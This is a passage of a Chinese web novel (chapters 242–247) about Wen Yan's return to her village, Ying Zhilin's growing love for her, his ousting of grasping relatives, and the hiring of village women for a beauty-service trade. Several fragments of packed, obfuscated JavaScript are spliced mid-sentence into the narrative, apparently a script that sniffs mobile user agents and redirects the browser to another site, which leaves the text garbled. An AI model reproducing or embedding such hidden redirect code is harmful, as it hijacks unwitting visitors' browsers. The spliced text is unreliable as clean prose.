浑浊的眼睛都有了焦距一般,恶狠狠瞪着蒋老太的方向:“我孙媳妇行得正坐得端,她跟自己哥哥说笑几句有什么问题? 你不要乱造她的谣,否则我跟你没完。 我这座小庙容不下你这尊大佛,不如你现在就走。” 蒋老太一下被噎住,登时就变了脸色,声音也变得尖厉刺耳:“老姐姐,你这是要赶我走啊!” 第242章:早就倾心于她 “你竟然想赶我走!哎呦,我一个老婆子,一把年纪了还要被人欺负哟。 你要是不待见我,你直说让我走就是了,何必这样羞辱人。 呜呜呜呜……” 蒋老太一边呜呜哭着,一边抹眼泪。 那模样,仿佛受了天大的委屈一般。 二姑姑见自己的婆母哭了,顿时就维护起婆母,责备起自己的亲娘来。 五婆婆本就不善言辞,此时被亲生女儿指责,她顿时又气又委屈,浑浊的眼眶里蓄满泪水,嘴唇也一直在颤抖。 “五婆婆可没有羞辱你们。”佩儿突然出现在院门口,她的身后还站着好几位婶子,都是跟闻颜关系要好的。 佩儿继续道:“你冤枉我家小姐孤男寡女,打情骂俏。对你这样爱嚼舌根的,我家老太太不欢迎你们,请你们离开,合情合理吧。 难不成,别人都骑到脖子上拉屎了,我们还要乖乖受着不成?” “我们又没说错,本来就是孤男寡女共处一室!”蒋婆子道。 佩儿看着她冷笑一声,随即插着腰,对着空气大喊:“应知海!” “哎!”东跨院里,应知海应了一声。 不一会儿,他就打开小门跑了过来。 他的脸上还沾着漆黑的墨点子。 佩儿问他:“你刚才在院子里干什么?” 应知海仰着小脸,认真答道:“七先生在教我写字。” 谣言不攻自破。 蒋老太不以为意地撇了撇嘴。 刘婶见她那样,瞪了她一眼,便跟着佩儿去了东跨院。 其他婶子有样学样,一一瞪了过去。 蒋老太被瞪得心火直冒。 东跨院里。 婶子们看见闻颜,很是热情:“一听你回来了,我们就厚着脸皮不请自来了。 没有打扰到你吧。” 婶子们都不是空手来的。 有的带着几个杏子,有的带着几个桃子。 还有位婶子,装了满满一碗现剥的莲子。 “什么打扰不打扰的,你们能来我高兴还来不及呢!”闻颜笑着招呼她们落座,“佩儿,快去把我们买的点心果子拿出来,给婶子们尝尝鲜。” 佩儿笑盈盈地去了。 没一会儿,东跨院里就传来愉快的笑声。 蒋老太听着,觉得刺耳极了。 婶子们稍坐一会儿,就拿着闻颜送的土仪,告辞离开了。 就刘婶和大虎哥留了下来。 闻颜请大虎哥找几个工匠,在东西跨院,各开一道小门。 “怎么突然要开小门?是因为应晴那家子?”刘婶朝主院睇了一眼,问道。 闻颜道:“这只是一小部分原因。是我又请了一批制墨的匠人,西跨院会当作他们的宿舍,给他们开一道小道小门,进出也方便些。” 当初建房时,闻颜就预料到会增加人口,所以在建西跨院时,她特地建得大一些,房间也更多。 现在就派上用场了。 “弟妹放心,这件事我明儿一天就能办好。” 闻颜把所需银两给他,又让佩儿装了一些土仪,才将他送出门去。 “我需要十个勤快伶俐的女子,十五至四十岁皆可,若是有在家中过得不好的女子,优先选择她们。” 闻颜提起净面娘子的事,笑着对刘婶道:“我要在京城里开一个传供女子消遣的会馆,刘婶你的女儿若是想去工作,也可以跟他们一起去学。” 刘婶面露迟疑:“我倒是想让她去学,但她现在订了亲,得问过她夫家的意思。” 闻颜点点头:“只要她想来,随时都可以。” 刘婶笑呵呵的:“好,你这份情谊,我们永远记在心里。” 夕阳西下。刘婶稍坐了一会儿,就去灶房忙活晚食了。 闻颜也提着礼盒,朝村长家而去。 村长夫妻见她,很是高兴。 又给她拿零嘴,又给她倒果子茶。 “你不在的这段日子,这老头担心得夜里都睡不好,生怕你这个金疙瘩在外面出什么意外。”村长婆婆笑着打趣。 闻颜跟他们说了一些在外的趣事,稍坐了一会儿就回家了。 她顺着村里的小道慢慢往回走。 刚走到岔路口,忽然看见对面山脚的小道上,走出一个人。 闻颜定睛看了几眼,好像是放学归来的应知林。 闻颜便站在原地,等着他同行。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344284|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应知林一边走路,一边回想着放学时的事。 无蕴子拦住他,一副欲言又止的神情。 “大师,你有话不妨直说。”应知林难得看见一向直爽的大师,露出如此犹豫的神情。 无蕴子张了好几次口,才说出一句:“你真的了解你的妻子吗?” “大师这话是什么意思?” “知人知面不知心,你对她,还是多个心眼吧,起码要看清她到底是个什么样的人,是不是?” 无蕴子说完就走,留下的问题,却让应知林想了一路。 闻颜是什么样的? 他为何问出这样的问题? 莫非他经历了什么事? 或是听到什么,关于闻颜的谣言? 不知不觉间,他已经回到村子。 抬起头来,就见前方路口,站着一名身姿袅娜的女子。 是闻颜! 应知林寂静的心思,瞬间雀跃起来。 他迫不及待地,跑起来。 他想看到她,靠近她。 他的心绪从未像现在这般快活过。 离她越来越近,他的心跳也越来越快。 她瘦了,也晒黑了。 不过,眼神还是一如既往的炯炯有神。 他本能的,想要将她拥入怀中。 但他又生生地克制住,在距离她一米远停住。 他微喘着气,一瞬不瞬地盯着她看:“你回来了!” “嗯。”闻颜看着他点点头,“今天下午刚到的。” 见他额头沁出一层薄汗,把自己的手帕拿给他:“擦擦汗吧。” “谢谢。”应知林接过她的帕子,擦去额头上的汗珠。 随之而来的,是从水帕上传来的馨香。 就好像……是闻颜在亲手给他擦汗。 自己竟对她生出这般下流的念头,应知林倒吸一口气。 他在心中唾弃自己的同时,默默念着:非礼勿视,非礼勿动…… 可是…… 此次分别了许久,他每天都忍不住挂念着她。 数着她离开的时间,盼着她回来的日子。 此时见到她,他才惊觉,自己早就倾心于她。 第243章:应知林快狠准 应知林从未对一个女子动心过。 闻如月没有,**儿亦没有。 只有闻颜的一颦一笑,才能牵动他的情绪。 见他擦好汗。 闻颜伸手拿回自己的手帕。 应知林却塞进自己的衣袖里:“我用过了,自然要洗完了再还给你。” “那好吧。”闻颜收回手,“我们快回去吧,刘婶的晚饭快做好了。” “嗯。”应知林点点头,跟在她身后。 两人的影子,被夕阳投在地上,拉得很长。 一前一后,显得有些错落。 应知林疾走两步,与闻颜并肩而行。 道路不算宽。 闻颜往旁边让了让,应知林能走得安稳些。 两人边走边聊。 闻颜忽然问道:“现在已经七月中,不到一个月就要秋闱了吧。” “是。” 闻颜想到他前世榜上无名,便安慰道:“科考虽然重要,但你的身体更要紧。 你不要给自己太大的压力。 今年不中,三年之后再考便是。” 应知林哭笑不得:“你怎么对我没有一点信心?” “当然有信心啊。我是担心你的身体嘛,哈哈哈……”闻颜干笑两声。 应知林安慰道:“放心吧,我一定会考个举人回来,不让你这几个月支持打水漂。” “那你加油!”闻颜捏着拳头,给他鼓劲。 虽然他的语气像哄小孩,应知林心中却是非常熨帖的。 两人闲聊着,很快就回到家了。 院门之中,传出饭菜的香气,以及孩子的嬉闹声。 应知林皱了皱眉,推门进去。 就见院子里,或坐或站,或笑或闹竟有二十来口人。 二姑姑家的人全到了。 其中两个姑娘,身上穿着颜色鲜艳的衣服,与她们黝黑的皮肤格格不入。 那些衣服和头花,好像是应知雪的! 而被人夺了衣服首饰的应知雪,则是一脸幽怨神情的看着那对姐妹。 “这些人交给我就行。”应知林轻拍闻颜的胳膊安抚。 “二姑姑,二姑父,你们什么时候来的。” 秋闱在即。 应知林三四天才回家住一晚。 二姑姑他们昨日到的,应知林并不知情。 “知林,你可回来了。担心死二姑了。” “有劳你挂心了。”应知林皮笑肉不笑地扯了扯嘴角,与他们周旋寒暄。 二姑姑话里话外,都是各种打探。 打探家里的生活开支由谁出钱。 也打探他对秋闱有几分把握。 应知林只是苦笑一声:“实力重要,但有时候运气也是实力的一部分。” 二姑姑一时竟不知该如何接话,尴尬地笑了两声,就不再言语。 很快,晚饭就开始了。 应知林看见辰七哥,客气有礼地与他寒暄:“想必您就是辰七哥了吧! 闻名不如见面,你比闻颜说的,更有杀伐气魄。” 原本还有些紧张的辰七,顿时放松不少。 应知林又特地把辰七哥介绍给五婆婆。 五婆婆一听辰七哥要教小海读书写字,顿时高兴得不得了。 二姑姑没想到,这个缺胳膊少腿的残废,竟然真的读书识了。 她眼热得不行。 家中三个孙儿,跟应知海差不多的年纪,若是能跟着一起读书识字就好了。 不过,不等她开口。 应知林就招呼大家入席吃饭。 饭吃到一半,应知林突然问道:“二姑姑,你这次过来,准备玩几天?” 这位二姑姑,人不算多坏,但有自己的小算盘,很会算计。 他不想留下她给闻颜添堵。 “啊……那个……” “是想玩三天?还是五天?您告诉我,我也好跟书院告假,陪着你们。” 二姑姑露出担心他学业的神情,认真道:“哪能耽误你的学业! 秋闱在即,你应该以学业为重。 你不必分心照顾我们,我们不会介意,更不会怪你忽略我们的。” “是我会介意。”应知林不客气地道,“二姑姑家男丁众多,而我家,中有我和知海两个男丁,其余的都是大姑娘。 若我不在,就只剩知海一个娃娃,成日与二姑姑家七八个男丁生活在同一个院落,于女子的名声有碍,实在不妥。 我还得在家陪着才行。 况且,你在我这儿待太久,家里的庄稼没人打理,会影响粮食收成的吧。” 应知林摆出,他们一日不走,他就一日不回书院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另外再给你们一百斤粮食应急,你们这两日过去收拾一番,三日后,你们就搬过去吧。 之后的日子,就要全靠他们自己了。” 应知林的语气不容置喙。 闻颜惊讶地看着应知林。 他处理起极品亲戚来,果真是快狠准。 第244章:应知林茶起来了 饭后,闻颜洗漱完,在院子里乘凉观月,辰七哥陪着一起。 应知林洗漱之后,佩儿要把脏衣服收走,等明天刘婶来洗。 “等等。”应知林叫住佩儿。 从衣服里找出一方手帕,“其他的你拿走吧。” 佩儿瞄了一眼,那方手帕越看越眼熟,好像是小姐的! 小姐的手帕,怎么到姑爷手里了? 佩儿并未细想,提着脏衣服就去了正院的井边。 结果她到井边,发现应知林也在。 他正小心翼翼地往手帕上抹皂角,动作很是熟练。 佩儿瞪圆了眼睛。 姑爷读书马马虎虎,做农活家事倒是格外的熟练。 佩儿把别人的衣服放下之后,就开始洗她和闻颜的。 应知林并未说什么,佩儿却觉得气氛有点凝重。 就听应知林出声问道:“你们这次出去,可在有遇到什么趣事?” “姑你,你不会是想打听我们的行踪吧!”佩儿狐疑地看着他。 应知林道:“你跟着闻颜,胆子倒是大了不少。” 佩儿吐了吐舌头:“反正我们已经回来了,有些事跟你说了也无妨。” 佩儿把坑地霍耀行的事隐去,随后就将一路上的见闻说了。 应知林听完之后,脸上不由露出温柔神色:“她对弱小,总是格外温柔。” 透完最后一遍水,应知林拿着手帕就走了。 佩儿不小心看到他的表情,没来由一个激灵,瞬间就起了一层鸡皮疙瘩:“咦……思春的男人可真吓人。” 应知林回东跨院。 辰七哥已经回房间休息了。 经过两个月的锻炼,基本的吃喝拉撒,已经能自理。 闻颜也坐到窗前写写画画。 应知林晾晒好手帕,便到书房中看书。 靠窗的位置,刚好可以看到闻颜侧颜。 他摸了摸自己的胸口。 既然已经喜欢上她了,无论如何都不愿再放她走。 可她只将婚事当成契约。 但凡有一点点逾越,她便会竖起高墙。 将他拒之门外已经算好的。 惹恼了她甚至会抛弃自己。 她对那些素不相识的弱小灾民都能全力相帮,对自己这个夫君反而…… 此时此刻,他恨不得自己也是弱小无助的…… ‘啪’的一声。 一个纸团落在书本上。 应知林额头被什么东西砸了一下。 他回过头,却发现应知林正看着他。 他捡起纸团,刚一抬头就发现闻颜似笑非笑地看着自己。 她的手里还抛着一个纸团:“你看书就看书,盯着我发呆什么呆?” 应知林目光闪避:“抱歉,我想事想得入神,失了分寸。” 闻颜狐疑地看他一眼,总觉得他在骗自己。 但她没有证据,只得放下纱帘,熄灯休息了。 应知林摸了摸鼻尖,想她的事也是事,自己不算说谎吧! 回到自己的家中,闻颜格外安心,倒头就睡着了。 闻颜这一觉睡得不知人事。 还是佩儿来叫,她才醒过来。 “小姐,姑爷叫我来唤你起床去吃早食了。” “应知林?”闻颜肚子也饿得咕咕叫,也顾不上多想,洗漱一番,就来到了院子里。 因为人多人,吃饭都要分两桌。 闻颜在自家这一桌坐下。 应知林正在给大家盛饭,突然“哎呀”一声,手也跟着哆嗦了一下。 “你的手被烫了!”闻颜立刻注意到了,“没伤着吧!” 应知林翻过手臂,露出的手腕上通红一片。 “哎呀,好严重!” 闻颜拉着他的手,就往水缸那边走:“快,用冷水泡着。佩儿,我梳妆台上,放瓷瓶的妆奁里有一瓶烫伤膏,是只红色瓷瓶,你快拿来。” “哦,我马上去。”佩儿转身就跑走了。 “快用凉水泡着,这样才不容易起泡溃烂。”闻颜把他的手按进水缸里,语气焦急责备道,“这可是你的右手,读书写字最少不得要用它,你怎么就这么不小心!” 应知林委屈道:“把正你也觉得我不考不中,手好不好又没多大关系。” 闻颜斜他一眼,未再多言。 应知林却在心里偷笑。 看来,只要自己弱小,笨拙一些,很容易让她关注自己。 二姑姑却一旁哎呦哎呦的直唤心疼:“现在到处都缺水,这么大一缸水,怎么就拿来泡手了,以后还怎么喝啊!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344286|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她语气夸张地使唤应知雪,拿个盆把他的手换出来。 却没一个人理她。 泡了半个时辰凉水,伤口才不发烫。 闻颜给他涂了烫伤膏,大家这才开始吃饭。 饭后。 应知林托人去书院请了三天假。 他要趁这几天,把二姑姑一家弄走。 他先回房拿钱。 刚打开自己放钱的柜子,又停住了。 他转头就去找闻颜借钱。 “你找我借银子?”这家伙看着像个穷光蛋,其实富得流油,哪用得着找她借钱啊。 应知林心虚地别开目光,摸了摸鼻子:“我……那个,知雪到了出嫁的年纪,我手里那些钱要攒着给他当嫁妆。” 闻颜:“……” 他自己给应知雪攒嫁妆,闻颜也没什么好说的。 当即就拿了五十两碎银给他。 买旧屋和一百斤粮食,二十两就足够了。 但是多的他也没还回去,反而写了欠条给她:“等我以后赚钱了还你。” 如此一来,他们之间多了一层羁绊。 往后就算她与自己闹掰,和离离开,他也能借此欠条,找上她去还钱。 一天找她还十文钱,五十两够他还十三年了。 不管什么羁绊,要有才行。 应知林心满意足,脚步轻快地走了。 他刚刚离开,刘婶就到了。 她还带来六七个女子,其中并没有她女儿。 许是成婚在即,夫家不许。 闻颜并未多问。 闻颜惊讶道:“刘婶,怎么这么早?” “你的的事,当然十二分的上心。”昨晚她吃过晚饭,就拉着丈夫出门挑净面娘子了。 最小年龄只有十四岁,年龄最大的,已经四十二岁了,脸上带着深看劳作的愁苦,发间已经出现白发。 闻颜忍不住多看了几眼。 那名妇人顿时紧张起来,眉头皱成川字纹,双手不安地搓着衣摆:“秀……秀才娘子,我……我什么都能干的人。 你……你觉得我做净面娘子不好,可以端茶倒水,打扫屋子。 求求你,不要筛掉我。我真的很需要这份工作。” 妇人说着,膝盖一弯,就给闻颜跪下了。 第245章:一夜暴富 “哎!你这是干什么!”闻颜吓得躲到一旁。 刘婶急得跺了跺脚,连忙跑过去,把妇人强行拽了起来:“你这是干嘛,是想逼着别人非要你不可吗? 我要是秀才娘子,本来考虑收你的,此时也该犹豫了。 你自己招厌,可别把我也连累了。” 妇人又急又后悔,急得连话都说不清了。 刘婶瞪她一眼:“你接下来闭紧嘴,秀才娘子问什么你答什么,旁的不要多说一个字。” 妇人急切地点点头,用眼神告诉刘婶,她全都听刘婶的。 刘婶把闻颜拉到一旁,低声说:“香莲是个苦命的女人。 四岁的时候,娘为了给她生个弟弟,一尸两命没了。 不到半年,她爹就给她娶了个后娘。 她在后娘后底下讨生活,日子很是艰辛,才十四就嫁人了。 婆家对她倒是不错,只不过她男人五岁的时候发烧,把这里烧坏了。”刘婶点了点自己的脑袋。 她嫁过来又当媳妇又当娘,生了一个儿子,儿子肯干,媳妇孝顺,又生了对孙子孙女。 本以为她是熬出头了,谁知……” 刘婶长长叹了口气,说起香莲的遭遇,就忍不住眼泛红。 “麻绳专挑细处断,噩运只找苦命人。 她的傻男人和儿子上山砍柴。 遇上落雨,岸边长了一对香莲喜欢吃的菌子。 她的傻相公非要摘回家给她吃,没想到……就那么摔下了悬崖。 吃药请大夫花光了家底,命是保住了,却瘫在了床上。” “闻颜,你放心,她品性很好,嫁到村里二十几年,跟人脸红的次数,两只手都数得过来。 做事也手脚麻利,刚嫁过来时,她家只有两亩地,在她的操持下,愣是变成五亩。 只可惜,那些地也卖了。” 闻颜也听得心酸。 她回握住刘婶的手,安慰道:“我信得过刘婶,自然也信得过刘婶找来的人。 今天你带来的人全都留下吧。” 刘婶惊喜道:“那香莲也……” 闻颜点点头,笑着道:“她也留你。你悄悄告诉她,如果她学成了净面娘子,每个月有一两的月钱。若是学不成……” 闻颜顿了顿,才说道,“若是学不成,自然也可以做烧火挑水的伙计,不过,工钱只有净面娘子的一半。” 她终究不忍心,将一个苦命的女子逼太狠。 刘婶却喜上眉梢,一半也有五百文钱。 对于香莲来说,可是解了燃眉之急。 “行,我一会儿就跟她说。” 闻颜叫佩儿拿来几罐子手膏:“这是润手用的。以后他们要服侍的人,都是京城里达官显贵家的夫人小姐,她的肌肤比刚出生的婴儿还要嫩滑。 若是手太粗糙,弄疼了贵人的脸,便是有十颗脑袋,都不够他们的砍的。” “是。”刘婶应着。 “你让他们回去收拾行李吧,最迟后天就会送他们去学艺。”闻颜又叮嘱一些细节,就让刘婶领着人离开了。 走的时候,香莲感激地朝她鞠躬。 闻颜朝她笑笑,就没再多说。 一道粉色身影,从月亮门一闪而过。 闻颜认得那衣服,是应知雪的。 不过那身形却不像应知雪。 闻颜挑了挑眉:应该是二姑姑两个女儿中的一个。 大虎哥带着人来好一会儿了。 向闻颜确定了开门的位置,他就带着工匠去忙活了。 闻颜看着大家井然有序的忙活,她也难得有片刻清闲。 她这才有时间整理,从司徒明的私宅里带回来的东西。 关上院门,锁严门窗之后,闻颜和佩儿就打开了箱子。 箱盖一打开,一片白光闪过,刺得闻颜身体直往后仰。 佩儿捂着嘴,也藏不住她的惊讶:“哇!好多银子!” “这一袋是小金鱼、三袋金瓜子、五袋金叶子是我从他家炕底下找出来的!” 佩儿在尽力压低声音了,却仍然藏不住她语气中的兴奋。 “哇!这一箱是珍珠吧!” “这里面全是玉器,一、二、三、四……戒指玉佩吊坠一共有十七件,还有一柄玉如意,两座玉佛,四只玉钵……” 佩儿一声一声地报着。 除此之外,箱底还铺着一层金条,三万两。 古董字画无数,有前朝大师的遗作,也有当代大家的作品。 甚至还有一幅无蕴子大师的猫戏图。 闻颜脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谁啊?”闻颜问道。 “是我,应知林。” “有什么事吗?” “田叔来了,在外面等你。” “我马上来了。”闻颜应了一声,加快了速度。动作也放轻了许多,生怕碰出声音,引来怀疑。 佩儿皱眉:“我明明把院门关上了的,他是怎么进来的?” 闻颜留下一块玉佩,一袋没有记号的金叶子。 其余的全部锁进箱子,合力将箱子推到床下,再用床单遮住,看不出丝毫痕迹,佩儿就想去开门。 “等等。”闻颜叫住了她,她将玉佩和金叶子塞她手中,“给你的。” “给我?”佩儿反应了一下。 “嗯。这一趟跟我出去,你辛苦了。玉佩你留着当嫁妆,金叶子拿去打首饰,孝敬你娘亲。” 佩儿连连推辞,“我不要,我是你的婢女,跟随你是我应该做的。” 闻颜:“就算是婢女,也该赏罚分明。 更况我并不把你当婢女看,我当你是左膀右臂来培养的,只要你好好跟着我,以后有我一口饭吃,也绝对少不了你一口汤。” “小姐……”佩儿当即就红了眼眶,眼泪大颗大颗的掉。 闻颜拍拍她毛茸茸的脑袋:“快擦擦眼泪吧,外面还有人等着呢。” “嗯。”佩儿赶紧擦干眼泪,和闻颜一起出门了。 应知林还等在门外。 看见闻颜,他立即汇报情况:“房子已经买下了,再有两日,二姑一家就会搬出去。” 经过月亮门时,闻颜特地看了一下那个月亮门的门栓。 应知林解释道:“这个门栓只用浆糊固定,忘记钉钉子了。” 原来是这样。 一会儿让大虎哥把门栓钉好。 田叔这次带来十四人。 发现他们基本上都缺胳膊少腿,有一人甚至没了两条腿,走路都要人抬着。 人瘦得不成样子,双目无光,仿佛连活下去的欲望都没有了。 田叔道:“他们曾经都是义父手下的兵,绝对信得过。” 闻颜点点头。 一一了解情况之后,闻颜发现他们大多数都是普通士兵,只有三个人懂些拳脚功夫。 闻颜便将让这三人做护院。 她带回来那么多宝贝,二姑姑一家又住进来了,总要多些防备。 其余人,闻颜根据他们的身体情况,安排在不同的岗位,工具也做了些改动。 改造工具一时半刻完成不了,闻颜就让先安顿下来,好好休息几日,调养好身体。 闻颜将他们安排在西跨院。 不必闻颜亲自动手,应知林就先找到二姑姑,让她把房间腾出来。 “不行!”二姑姑大声反驳。 “不行?为何?你们后日就要搬走,也不差这两日了。”应知林语气平缓,却让二姑姑心生惧意。 “我……我们搬就是了,你……你别吓人啊。”二姑姑说完,就灰溜溜的去收拾东西了。 闻颜朝他感谢一笑,就去找田叔商议,明日送人去花楹镇的事。 与此同时。 应大傻家中。 香莲得到刘婶的私下答复,兴冲冲的回了家。 这里却静悄悄的,婆母、儿子儿媳和孙子都不在。 她激动的心情想找人倾诉 便回自己的卧房,去找她的傻夫君。 然而,她刚刚走到门口,就看见傻夫君正将自己的肘子,往一个麻绳套里面送。 “相公!”香莲大喊一声,冲了过去。 她一把推开应大傻,凄厉质问:“你做什么!你为什么要这样做?” 应大傻下身瘫痪,被香莲用力一推,身体向后倒去,后脑撞在木柜上,痛得他‘哇’的一声哭了出来。 “哇!痛!好痛!娘子我好痛!”应大傻哇哇大哭,挣扎着要扑进香莲怀里。 却因为下肢无力,只能在原地挣扎。 “你干什么呀,这干什么呀!你要扔下我一个人吗?”香莲心痛不已,扑过去抱住应大傻。 应大傻一边呜呜哭着,一边说:“他们都说我是废物,会拖累娘子,会拖累我们的孩子和孙子,大傻不想做废物,大傻不想害家人。” “不会的怎么会,我们找到活路了。秀才娘子要我了,我去学净面娘子,一个月有一两银子的工钱。 一两银子你知道有多少吗?你看病花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344288|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的钱,也才三十两,我两年多就赚回来了。 以后我们的日子,会越来越好的,你想信我,好不好,你不要扔下我一个人。” 香莲说着说着,眼泪就流下来了。 应大傻看见她哭,慌得手足无措。 一会儿给她擦眼泪,一会儿给她呼呼。 “香莲,你刚才说的都是真的?秀才娘子真的叫你去做工了?”香莲的婆婆不知何时回来了,她激动地问。 “是。”香莲擦干眼泪,点头道,“本来我的年龄太大不合适。不过,秀才娘子得知我们家的情况之后,就格外开恩,让我跟着去学习。 只要我合格了,就能留在她的铺子里做工。” “太好了,我们家有希望了,香莲啊,你可要好好学,知道吗?”眼看就要散掉的一个家,又看到了希望。 香莲婆婆怎么能不激动,不高兴呢? 她对着闻颜家的方向,就拜了三拜,嘴里念念有词。 闻颜家中。 二姑姑一家胡乱收拾一通,就将房子腾了出来。 房间里。 二姑父皱巴着脸,不悦地道:“你还真答应搬出去啊?” “我也不想搬啊。可是有什么办法,你没看见应知林那副表情,就跟要吃似的,你难道敢跟他对着干?” 二姑父摸摸自己,心虚地移开了目光。 他要是敢反抗,早就说了,也不会等到现在,只会在背后怂恿应晴。 应晴不悦地哼了哼:“他应知林在得意个什么劲儿啊! 要不是过继到我娘名下,他还在乔婆子那个老巫婆手底下受折磨。 他不敢顶撞乔婆子,倒是敢对我吆五喝六的。 呸!什么读书人,也不过是个欺软怕硬的软蛋而已。” “哼,咱们就再忍耐几日,等秋闱之后,让应知林从梧桐书院挑两个举人做女婿。以后有了当官的女婿,咱们就跟着鸡犬升天了 到时你还看得这几间破落院子?” 二姑爷立即讨好地给他捏肩捶腿:“还是娘子有远见。” “咣”的一声。 房门从外面撞开。 蒋家小女儿闯进来:“娘,我有一个好消息要告诉你!” 第247章:应知林开启诱妻模式 “娘,咱们要发财了!”蒋家小女儿一脸兴奋地扑进二姑姑怀里。 “死丫头,一堆活等着干,你跑哪里玩去了。”二姑姑戳着她的额头。 二姑父则一脸好奇地追问:“什么发财?你快说说。” 蒋家小女儿,便将净面娘子的事说了。 她竖起一根手指头,激动地道:“娘,我要去做净面娘子。 每月一两银子的工钱,不仅可以每月做一身新衣,还可以买许多的珠花首饰。 闻颜还说,他们接待的客人,都是京城里达官显贵家的夫人小姐,只要我能跟一两个交上朋友,或是被贵夫人看上了,娶回去当儿媳妇,我们家就跟着鸡犬升天了。 娘,你去跟应知林说嘛,我也要去做净面娘子。 我一定要去。” 蒋家小女儿撒泼耍赖,非去不可。 二姑姑倒算清醒:“人家闻颜就是从那些达官显贵家出来的,她都嫁不了那些贵公子,你拿什么去嫁? 我告诉你,打消你那些不切实际的念头。” 蒋家小女儿撅了撅嘴:“就算当不了妻子,做个妾也好啊,以后我生的孩子,就再也不用种地了……” “不行!大户人家的妾是那么好做的吗? 忘记咱们村地主家的小姐了吗? 好只是去给县老爷的舅子做妾,就落得那副下场,你不想要自己的命了?” 蒋家小女儿也不由回想起,那个嚣张跋扈的地主小姐,被送回来时,一路上滴滴哒哒流着血,已不成人形。 她吓得一个激灵。 立即打消了当妾的念头。 二姑姑握住她的手:“你别担心,为娘一定会为你挑一个好夫婿的。” 蒋家小女儿轻应一声,点点头:“但我还是要去做净面娘子。 应知林过继给外婆,他就是我亲表哥,他一定,也必须要帮我。” 二姑姑想到一两月银,眼珠子转了转:“行,我让你姐姐也去,这样你们姐妹俩有个照应,别人也不敢欺负你们。” “哼,我可是应知林的表妹,谁不长眼敢来欺负我。” 母女俩说着,就一起去找闻颜。 闻颜刚把手头上的事安排好,二姑姑母女就来了。 二姑姑对闻颜嘘寒问暖,东拉西扯。 闻颜没耐心与她周旋,脸上挂着笑:“二姑姑有什么话就直说吧,我能办到的尽量去办,我办不到的也无能为力。” 二姑姑面色一僵,绞了绞手指,说明来意。 闻颜笑着道:“这都是小事,两位表妹若是想来,我只是欢迎。 只不过,丑话我要说在前头。 我做事只讲规矩,对所有人一视同仁,两位表姐妹在我手下不会有任何优待。 再就是,我要给你们说清楚,所谓的净面娘子,其实就是服侍人的下人婢女,做的都是卑微的活计,规行矩步没有半点自由,惹怒那些贵人,打骂都得忍着。 即便如此,表姐妹还是想去吗?” 蒋家小女儿立即就萌生退意。 她最受不了低声下气,更何况要被打骂 二姑姑却觉得闻颜是在吓唬自己。 当即不说去不去,捂着脸就嘤嘤哭,说终究不是亲姑姑,又开始细数五婆婆对应知林的恩情。 她哭起来声音尖厉,听得闻颜心烦气躁。 “二姑姑,你什么都想要,是不是太贪心了?”应知林推门走了进来,“与其在这里要些有的没的,不如去收拾房子,也好早些搬过去住。” “应知林!”二姑姑再也忍不住了,拍案而起。 “不管怎么说,我也是你的姑姑,你怎么能这样对我! 别忘了,要不是我娘答应过继你,你能有现在的好日子?!” “吃水还不忘挖井人,你就是这样报答我娘的?” “祖母对我的恩情,我自然报答。我会为她养老,为她摔盆送终。 但这不是你得寸进尺的理由。 别说你我只是过继关系,你可以看一看应喜妹,她是我血缘上的亲姑姑,我与她在同一个屋檐下生活十几年,她可有占到我半分便宜?” “你……”二姑姑气得口不择言,“果然,别人都说,负心多是读书人。 你果然冷心冷肺,不念半点亲情。 你就不怕,我把你的这些行径, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344289|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 